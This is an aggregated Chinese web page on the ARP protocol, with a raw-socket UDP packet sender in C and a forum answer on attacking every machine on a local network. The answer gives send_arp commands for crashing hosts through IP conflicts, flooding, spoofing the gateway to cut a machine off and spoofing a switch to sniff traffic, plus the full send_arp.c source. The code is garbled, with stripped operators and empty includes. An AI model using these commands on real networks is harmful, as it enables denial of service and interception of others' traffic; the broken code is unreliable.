发送arp数据包c源码_arp数据包作用

hacker|
114

文章目录:

在网络中ARP协议是怎样实现数据包传输的

现在用A去ping B:

看见Reply from 192.168.85.100: bytes=32 time10ms TTL=32 这样的信息。

然后在命令行中输入 arp -a,会看见192.168.85.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。

这就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。

首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF- FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源MAC。

如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源MAC,发送给A。

当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。

由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。

Windows系统下能否通过原始套接字发送接受Arp数据包,如何操作?(最好给个例子)

虽然Windows XP SP2已经不再支持原始TCP数据包的发送,但就其本身作为一项技术而言,掌握原始数据包的发送也是非常重要的。今天我们要讨论的原始UDP数据包的构造,便是这项技术的应用。相信懂得了如何管理UDP头,其他协议的封装应该就不成问题了。在阅读本文,你需要具备以下知识:熟悉C语言、Socket基础知识和TCP/IP基础知识。如果你已经掌握了上面的知识,那就让我们行动吧。

数据包格式

在对数据包进行封装之前,我们有必要了解一下数据报格式,图1是IP头格式。我们所学的知识绝大部分都是从资料书籍中来的,但资料毕竟是死的,当我们拿到图 1所表示的格式时,似乎有点蒙——这个格式是什么意思啊?怎么看?我记得我初学的时候就老犯这种糊涂。下面具体说明一下。

javascript:dcs.images.doResizes(this,0,null);" src="/kf/UploadFiles_7205/201009/20100923105017273.jpg"

图1

在认识该格式之前,我们有必要了解一下什么是“大尾”,什么是“小尾”。“大尾”就是高位字节排放在内存的低端,低位字节排放在内存的高端。“小尾”反之。 Intel处理器大多数使用小尾字节序,Motorola处理器大多数使用大尾(Big Endian)字节序。既然不同的处理器处理的方式不一样,那么在网络交流数据的时候便应该使用同一套标准,不然肯定会发生错误的。TCP/IP各层协议将字节序定义为大尾,因此TCP/IP协议中使用的字节序通常称之为网络字节序,因而在填充数据包的时候一定要注意字节顺序,不然会出错!还有,图1的数据是从左至右字节由低向高,这一点注意一下,初学者容易犯错。

上面是一些需要注意的地方,下面再说一下各个字段的含义。

1)版本号:标志版本;

2)分组长度(HLEN):报文头部的字数(字长=32bits);

3)业务类型(Type of Service):分组的处理方式;

4)总长度(Total Length):分组头部和数据的总长度(字节数);

5)标识(Identification)、标记(Flags)、片偏移(Frag Offset):对分组进行分片,以便允许网上不同MTU时能进行传送;

6)生存时间(TTL):规定分组在网上传送的最长时间(秒),防止分组无休止地要求网络搜寻不存在的目的地址;

7)协议(Protocol):发送分组的上层协议号(TCP= 6,UDP=17);

8)校验和(Header Checksum):分组头校验和;

9)源和目的IP地址(Source and Destination IP Address):标识网络终端设备的IP地址;

10)IP选项(IP Options):网络测试、调试、保密及其他;

11)数据(Data):上层协议数据。

根据上面的说明我们可以定义以下IP头结构。

typedef struct _IPHeader // 20字节的IP头

{

UCHAR iphVerLen; // 版本号和头长度(各占4位)

UCHAR ipTOS; // 服务类型

USHORTipLength; // 封包总长度,即整个IP报的长度

USHORTipID; // 封包标识,惟一标识发送的每一个数据报

USHORTipFlags; // 标志

UCHAR ipTTL; // 生存时间,就是TTL

UCHAR ipProtocol // 协议,可能是TCP、UDP、ICMP等

USHORTipChecksum; // 校验和

ULONG ipSource; // 源IP地址

ULONG ipDestination; // 目的IP地址

} IPHeader, *PIPHeader;

有了IP头,下面就应该是UDP头了,如图2所示。下面说一下各个字段的含义。

javascript:dcs.images.doResizes(this,0,null); border=0

图2

1)源端口(Source Port):呼叫端端口号;

2)目的端口(Destination Port):被叫端端口号;

3)报头长度(HLEN):报文头部的字节数;

4)校验和(Checksum):报头和数据字段的校验和;

5)数据(Data):上层协议数据。

下面是定义的UDP头结构。

typedef struct _UDPHeader

{

USHORT sourcePort; // 源端口号

USHORT destinationPort;// 目的端口号

USHORT len; // 封包长度

USHORT checksum; // 校验和

} UDPHeader, *PUDPHeader;

上面我详细介绍了IP头和UDP头的格式。在我们填充数据包的时候,应该清楚IP头、UDP头和传输数据的顺序应该与如图3一致。

图3

编程 实现

下面我们来看看发送原始UDP封包的代码是如何实现的。首先我们要有一个IP校验码,这有前人写好的专门代码,我们不必深究,拿来用就行,再此不贴出来,大家看杂志相关即可。下面是主程序的代码,很简单,大家慢慢体会,相信会有所收获的。

int main()

{// 输入参数信息

char szDestIp[] = "88.88.88.88";

// == 填写目的IP地址

char szSourceIp[] = "127.0.0.1";

// == 填写你自己的IP地址

USHORT nDestPort = 4567; //目的端口

USHORT nSourcePort = 8888;//源端口

char szMsg[] = "大家好,我是Hokkien!/r/n";

int nMsgLen = strlen(szMsg);

// 创建原始套节字

SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

// 有效IP头包含选项

BOOL bIncl = TRUE;

::setsockopt(sRaw, IPPROTO_IP, IP_HDRINCL, (char *)bIncl, sizeof(bIncl));

char buff[1024] = { 0 };

// 填充IP头

IPHeader *pIphdr = (IPHeader *)buff;

pIphdr-iphVerLen = (44 | (sizeof(IPHeader)/sizeof(ULONG)));

//版本与长度

pIphdr-ipLength = ::htons(sizeof(IPHeader) + sizeof(UDPHeader) + nMsgLen);

//数据包长度

pIphdr-ipTTL = 128; //生存时间

pIphdr-ipProtocol = IPPROTO_UDP;//UDP

pIphdr-ipSource = ::inet_addr(szSourceIp); //源IP

pIphdr-ipDestination = ::inet_addr(szDestIp); //目的IP

pIphdr-ipChecksum = checksum((USHORT*)pIphdr, sizeof(IPHeader));

//校验码,这是必需的!

// 填充UDP头

UDPHeader *pUdphdr = (UDPHeader *)buff[sizeof(IPHeader)];

pUdphdr-sourcePort = htons(8888); //源端口

pUdphdr-destinationPort = htons(nDestPort);//目的端口

pUdphdr-len = htons(sizeof(UDPHeader) + nMsgLen);//报头长度

pUdphdr-checksum = 0; //校验和,不是必需的

char *pData = buff[sizeof(IPHeader) + sizeof(UDPHeader)];

memcpy(pData, szMsg, nMsgLen);

//填充校验和

ComputeUdpPseudoHeaderChecksum(pIphdr, pUdphdr, pData, nMsgLen);

// 设置目的地址

SOCKADDR_IN destAddr = { 0 };

destAddr.sin_family = AF_INET;

destAddr.sin_port = htons(nDestPort);

destAddr.sin_addr.S_un.S_addr = ::inet_addr(szDestIp);

// 发送原始UDP封包

int nRet;

for(int i=0; i5; i++)

{

nRet = ::sendto(sRaw, buff,

sizeof(IPHeader) + sizeof(UDPHeader) + nMsgLen, 0, (sockaddr*)destAddr, sizeof(destAddr));

if(nRet == SOCKET_ERROR)

{

printf(" sendto() failed: %d /n", ::WSAGetLastError());

break;

}

else

{

printf(" sent %d bytes /n", nRet);

}

}

::closesocket(sRaw);

getchar();

return 0;

}

总结

需要注意的是,如果这段代码在Windows XP SP2以前的操作系统上运行,可以使用假的源IP地址。但遗憾的是,Windows XP SP2中,则必须指定一个有效的IP地址,而且不是回环IP(即127.0.0.1)。Windows现在已经不支持原始TCP的发送了。这些种种限制,使得我们在XP上玩黑玩得很不自在!为了取消这种限制,我们可以开发自己的驱动,但开发驱动毕竟不是简单之事,我等菜鸟哪来这等本事啊。不过可喜的是,已经有高人为我们开发了一套当今非常流行的网络开发包驱动Winpcap,完全可以取消上面的限制!对于这种方法,我们以后再讨论,大家期待一下,呵呵

利用C语言编写模拟ARP发送请求数据包和接收数据包

我给你一个技术思路吧。

如果要用C实现模拟ARP发送数据包和接收数据包,可以使用VC6.0开发win32 console application,然后开发一个windows控制台程序,使用API函数开发。

ARP数据包是什么意思

ARP,即地址解析协议,通过遵循该协议,只要我们知道了某台机器的IP地址,即可以知道其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。

在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,如附表所示。

附表

以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到目标IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“我是192.168.1.5,我的硬件地址是"FF.FF.FF.FF.FF.FE".请问IP地址为192.168.1.1的MAC地址是什么?”网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“192.168.1.1的MAC地址是00-aa-00-62-c6-09”。这样,主机A就知道了主机B的MAC地址,它就可以向主机B发送信息了。同时A和B还同时都更新了自己的ARP缓存表(因为A在询问的时候把自己的IP和MAC地址一起告诉了B),下次A再向主机B或者B向A发送信息时,直接从各自的ARP缓存表里查找就可以了。ARP缓存表采用了老化机制(即设置了生存时间TTL),在一段时间内(一般15到20分钟)如果表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询速度。

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

ARP攻击主要是存在于局域网网络中,局域网中若有一个人感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

RARP的工作原理:

1. 发送主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址;

2. 本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址;

3. 如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用;

4. 如果不存在,RARP服务器对此不做任何的响应;

5. 源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。

6.如果在第1-3中被ARP病毒攻击,则服务器做出的反映就会被占用,源主机同样得不到RARP服务器的响应信息,此时并不是服务器没有响应而是服务器返回的源主机的IP被占用。

如何像局域网中所有机器发送ARP攻击,请高手指教,软件也可以。

网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受限制的是我们的创造力和想象力”。

ARP也是如此。以下讨论的机子有一个要攻击的机子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的机子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

网关: 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一台交换机另一端口的机子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保

原理:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。

关键:ARP包的数量适当。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP导致IP冲突,死机

原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。

注:对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。

原理:用ARP应答包去刷新对应着要使之出不去的机子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP高速缓存会被被攻击的机子正确刷新,于是只要...

四:用ARP欺骗交换机,可监听到交换机另一端的机子。

可能需要修改一下send_arp.c,构造如下的数据包。

ethhdr

srchw:52:54:4C:98:ED:F7---dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表,所以你可以先来个ARP 欺骗,然后就可以监听了,不过需要指出,欺骗以后,同一个MAC地址就有两个端口号。

yuange说,“这样其实就是一个竞争问题。” 好象ARP 以后,对整个网络会有点影响,不过我不敢确定既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。对被监听者会有影响,因为他掉了一部分数据。当然还有其他一些应用,需要其他技术的配合。以下是send_arp.c的源程序

CODE:

/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2

#define OP_ARP_QUEST 1

#define DEFAULT_DEVICE "eth0"

char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev

usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet

{

u_char targ_hw_addr[ETH_HW_ADDR_LEN];

u_char src_hw_addr[ETH_HW_ADDR_LEN];

u_short frame_type;

u_short hw_type;

u_short prot_type;

u_char hw_addr_size;

u_char prot_addr_size;

u_short op;

u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

u_char sndr_ip_addr[IP_ADDR_LEN];

u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

u_char rcpt_ip_addr[IP_ADDR_LEN];

u_char padding[18];

};

void die (char *);

void get_ip_addr (struct in_addr *, char *);

void get_hw_addr (char *, char *);

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr;

struct arp_packet pkt;

struct sockaddr sa;

int sock;

int j,number;

if (argc != 6)

die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));

if (sock 0)

{

perror("socket");

exit(1);

}

number=atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);

pkt.hw_type = htons(ETHER_HW_TYPE);

pkt.prot_type = htons(IP_PROTO_TYPE);

pkt.hw_addr_size = ETH_HW_ADDR_LEN;

pkt.prot_addr_size = IP_ADDR_LEN;

pkt.op = htons(OP_ARP_QUEST);

get_hw_addr(pkt.targ_hw_addr, argv[4]);

get_hw_addr(pkt.rcpt_hw_addr, argv[4]);

get_hw_addr(pkt.src_hw_addr, argv[2]);

get_hw_addr(pkt.sndr_hw_addr, argv[2]);

get_ip_addr(src_in_addr, argv[1]);

get_ip_addr(targ_in_addr, argv[3]);

memcpy(pkt.sndr_ip_addr, src_in_addr, IP_ADDR_LEN);

memcpy(pkt.rcpt_ip_addr, targ_in_addr, IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);

for (j=0;j {

if (sendto(sock,pkt,sizeof(pkt),0,sa,sizeof(sa)) 0)

{

perror("sendto");

exit(1);

}

}

exit(0);

}

void die (char *str)

{

fprintf(stderr,"%s\n",str);

exit(1);

}

void get_ip_addr (struct in_addr *in_addr, char *str)

{

struct hostent *hostp;

in_addr-s_addr = inet_addr(str);

if(in_addr-s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp-h_addr, in_addr, hostp-h_length);

else {

fprintf(stderr, "send_arp: unknown host %s\n", str);

exit(1);

}

}

}

void get_hw_addr (char *buf, char *str)

{

int i;

char c, val;

for(i = 0; i ETH_HW_ADDR_LEN; i++)

{

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c = 'a' c = 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf = val 4;

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c = 'a' c = 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf++ |= val;

if (*str == ':')

str++;

}

}

arp数据包的构造

在网络中,IP数据包常通过以太网发送。以太网设备并不识别32位IP地址:它们是以48位以太网地址传输以太网数据包的。因此,IP驱动器必须把IP目的地址转换成以太网网目的地址。在这两种地址之间存在着某种静态的或算法的映射,常常需要查看一张表。地址解析协议(Address Resolution Protocol,ARP)就是用来确定这些映象的协议。

ARP工作时,送出一个含有所希望的IP地址的以太网广播数据包。目的地主机,或另一个代表该主机的系统,以一个含有IP和以太网地址对的数据包作为应答。发送者将这个地址对高速缓存起来,以节约不必要的ARP通信。

如果有一个不被信任的节点对本地网络具有写访问许可权,那么也会有某种风险。这样一台机器可以发布虚假的ARP报文并将所有通信都转向它自己,然后它就可以扮演某些机器,或者顺便对数据流进行简单的修改。ARP机制常常是自动起作用的。在特别安全的网络上, ARP映射可以用固件,并且具有自动抑制协议达到防止干扰的目的。

5条大神的评论

  • avatar
    访客 2022-07-07 上午 06:28:47

    dr = (IPHeader *)buff; pIphdr-iphVerLen = (44 | (sizeof(IPHeader)/sizeof(ULONG))); //版本与长度 pIp

  • avatar
    访客 2022-07-07 上午 07:31:06

    -sourcePort = htons(8888); //源端口 pUdphdr-destinationPort = htons(nDestPort);//目的端口 pUdphdr-len = htons(sizeo

  • avatar
    访客 2022-07-07 下午 05:38:52

    TH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_c

  • avatar
    访客 2022-07-07 上午 07:28:36

    数据包传输的现在用A去ping B:看见Reply from 192.168.85.100: bytes=32 time10ms TTL=32 这样的信息。然后在命令行中

  • avatar
    访客 2022-07-07 下午 04:11:11

    osesocket(sRaw); getchar(); return 0; } 总结 需要注意的是,如果这段代码在Windows XP SP2以前的操作系统上运行,可以使用假的源IP地址。但遗憾的是,Windows XP SP2中,则必须指定一

发表评论